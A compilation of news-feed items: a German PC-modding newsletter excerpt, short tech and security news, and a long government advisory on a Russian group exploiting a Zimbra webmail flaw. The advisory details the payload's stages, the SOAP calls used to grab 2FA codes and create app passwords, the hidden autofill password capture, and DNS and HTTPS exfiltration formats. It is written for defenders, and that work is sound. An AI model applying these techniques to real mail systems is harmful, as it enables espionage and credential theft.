Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flügeltüren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle Farbtöne und -wechsel per IR-Fernbedienung möglich. Hier geht es zum liebevoll restaurierten Artikel zur Höllenmaschine 4 aus 2012.



Maus mit Noctua-Lüfter und Steam Machine im Praxis-Test 



Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Früchte ihrer Zusammenarbeit: die Feinmann F01 Noctua Edition, eine Gaming-Maus mit aktiver Belüftung der Handflächen. Ich bin gespannt, wer sich über kühlere Handflächen beim Zocken freut.


Noctua/Pulsar



Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (ab 1.039 Euro) Steam Machine gekauft und einem ausführlichen Praxistest unterzogen. Sein Fazit fällt allerdings ernüchternd aus: Ein günstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen für deutlich weniger Geld.



Warum es ein Problem ist, dass in neuen Laptops alte CPUs zum Einsatz kommen, erklärt mein Kollege Mark Hachman.  



Vielen Dank fürs Lesen!



ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den kostenlosen HMX-6-Newsletter – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.




Schwachstelle in KI-Entwicklungsumgebung AWS Kiro behoben
Thu, 23 Jul 2026 17:24:21 +0200

    Eine Schwachstelle in der KI-Entwicklungsumgebung AWS Kiro erlaubte die Code-Ausführung über manipulierte Webseiten. AWS hat die Lücke geschlossen.

Tags: #AWS | #Cyber Security | #Künstliche Intelligenz


Federal quantum bet grows with DARPA’s $125 million PsiQuantum award
Thu, 23 Jul 2026 17:13:10 +0200

		
					  
						




Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.



“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says Heather West, research manager in the infrastructure systems, platforms, and technology group at IDC.



None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.



“The US government has been signaling that quantum computing is a priority,” says David Mooter, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.



“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. 



Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”



DARPA’s Quantum Benchmarking Initiative



DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for Stage A of the project, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.



Then, in November of 2025, DARPA chose 11 companies for Stage B of the project, with awards of up to $15 million for developing their research plans.



To date, only two companies have been chosen for Stage C: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, according to DARPA.



This past May, PsiQuantum also announced $100 million from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.



Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.



Genesis Mission



Genesis Mission was launched in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.



As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced three projects for the Department of Energy on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.



This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.



Other quantum-related Genesis Mission projects announced this week include $1.5 million for a BlueQubit quantum error correction project with Microsoft and other partners, a Stanford effort to model the behavior of electrons at quantum scale, an MIT quantum sensing project, Argonne National Laboratory projects on quantum circuit design and quantum sensors, Brookhaven Lab quantum sensor projects, and quantum computing projects at Northwestern University.



IBM, one of three dozen private companies that are part of the Genesis Mission Consortium, announced that it will be leading a project to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.



Enterprise priorities



This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.



But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.



The point of no return is closer than ever, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the federal deadline for naming their post-quantum cryptography migration leads under a June executive order.



“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.



However, according to a survey released by DigiCert this morning, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.



Kaspersky’s Sustainability report 2024-2025: partnerships that make an impact
Thu, 23 Jul 2026 17:05:42 +0200
Author: Kaspersky - Bewertung: 0x - Views:1 
In this video, we talk about how shared values, proven expertise, and transparent impact come together to address real social challenges. Watch to see how Kaspersky approaches responsible collaboration that delivers measurable results.



Find more details in the report: https://kas.pr/7jar



#kaspersky #esg #sustainability #cybersecurity #inclusion



Halo Campaign Evolved im Kurztest: Der bislang schönste Master Chief
Thu, 23 Jul 2026 17:04:10 +0200
Halo Campaign Evolved modernisiert den Xbox-Klassiker mit zeitgemäßer Technik und drei neuen Missionen. Ein Test von Peter Steinlechner (Halo, Spieletest) 


Halo: Campaign Evolved angespielt: Gelungene Schönheits-OP für den Master Chief
Thu, 23 Jul 2026 17:04:04 +0200

Nach fünf Jahren Pause ist der Master Chief zurück! Passend zum 25. Jubiläum feiert das Originalspiel aufwendig überarbeitet sein Revival. Ich habe Halo: Campaign Evolved angespielt und schildere Euch nachfolgend meine ersten Eindrücke. Mit Halo: Campaign Evolved Remastered kehrt ein echter Gaming-Klassiker zurück – und das auf beeindruckende Weise. Schon nach den ersten Spielstunden wird […]
Der Beitrag Halo: Campaign Evolved angespielt: Gelungene Schönheits-OP für den Master Chief erschien zuerst auf Dr. Windows.


Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Thu, 23 Jul 2026 16:59:29 +0200
Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].
LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.
Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.
This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  
As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.
For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.
Background
Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  
The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  
Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.
Targeting details
LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),  
the federal and local government,
education,
energy,
law enforcement,  
media,  
non-governmental organizations, and
technology.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.
Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.
Reconnaissance
LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  
After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  
Resource development 
The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.
Flowerbed framework
Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

Catcher,
Certbot,
Nginx, and
Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.
The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.
Initial access
To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.





  
      




      Figure 1: Example of malicious email
  





  
      




      Figure 2: Headers from an example malicious email
  
According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  
Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.
Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

sendStartPing,
gather_email,
gather_environment,
gather_2fa_codes,
gather_app_password,
gather_device_status,
gather_oauth_consumers,
gather_autocomplete_password,
enable_mail_protocols,
gather_gal,
sendArchives, and
sendFinishPing. 






  
      




      Figure 3: Malicious payload of example email
  
Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].
Persistence and credential access
To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.
The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.
During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.





  
      




      Figure 4: First illegitimate login HTML element
  





  
      




      Figure 5: Second illegitimate login HTML element
  
LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.
ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.
Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.
Collection
As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.


Table 1: Additional SOAP commands used





SOAP Command 






Namespace 






Stage 










GetInfoRequest 






zimbraAccount 






gather_environment 








GetDeviceStatusRequest 






zimbraSync 






gather_device_status 








GetOAuthConsumersRequest 






zimbraAccount 






gather_oauth_consumers 








SearchGalRequest 






zimbraAccount 






gather_gal 






The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.
During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.


Table 2: ZCS webmail client types





Indicator 






Client Type 






Associated Value 










?client=advanced 






Advanced 






c 








/h/ 






Standard 






h 








/modern/ 






Modern 






m 






As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  
According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.
The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.
Exfiltration
At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.
Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  
DNS exfiltration
DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.





  
      




      Figure 6: Structure for information exfiltrated by DNS
  
When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  


Table 3: DNS exfiltration





Type of Information 






Exfiltration Stage 






Data Type 










Victim’s Email Address 






gather_email 






e 








Client Type 






gather_environment 






c 








Zimbra Version 






gather_environment  






v 








URL at Time of Exploitation 






gather_environment 






url 








2FA Scratch Codes 






gather_2fa_codes 






2fa 








Newly Created Application Password 






gather_app_password 






pa 








Harvested Autocomplete Password 






gather_autocomplete_password 






pw 






HTTPS exfiltration
Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  


Table 4: HTTPS exfiltration types





Content Type 






URL Path 










application/json 






/v/p 








application/octet-stream 






/v/d 











  
      




      Figure 7: Structure for information exfiltrated by HTTPS
  
Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  
Table 5 provides a summary of the JSON-based exfiltration.


Table 5: HTTPS JSON exfiltration  





Type of Information 






Exfiltration Stage 






JSON Key(s) 










Victim’s Email Address 






gather_email 






email 








Client Type, Version, and Current URL 






gather_environment 






client, version, full_url 








Newly Created Application Password 






gather_app_password 






app_password 








Harvested Autocomplete Password 






gather_autocomplete_password 






autocomplete_password 






The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.




 Table 6: HTTPS binary exfiltration





Type of Information 






Exfiltration Stage 






X-Filename Header 










SOAP request for GetInfoRequest 






gather_environment 






zimbra_batch_analytics.json 








SOAP request for GetScratchCodesRequest 






gather_2fa_codes 






zimbra_batch_analytics.json 








SOAP request for GetDeviceStatusRequest 






gather_device_status 






zimbra_batch_analytics.json 








SOAP request for GetOAuthConsumersRequest 






gather_oauth_consumers 






zimbra_batch_analytics.json 








Victim Organization’s Global Address List 






gather_gal 






telemetry_{1-20}.json 








Last 90 Days of Victim’s Emails 






sendArchives 






telemetryData_{0-89}.json 








The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.
At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  
Catcher
Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.
Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.
The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  
However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

Time of query,
Source IP address for query,
Queried domain, and
Type of query.

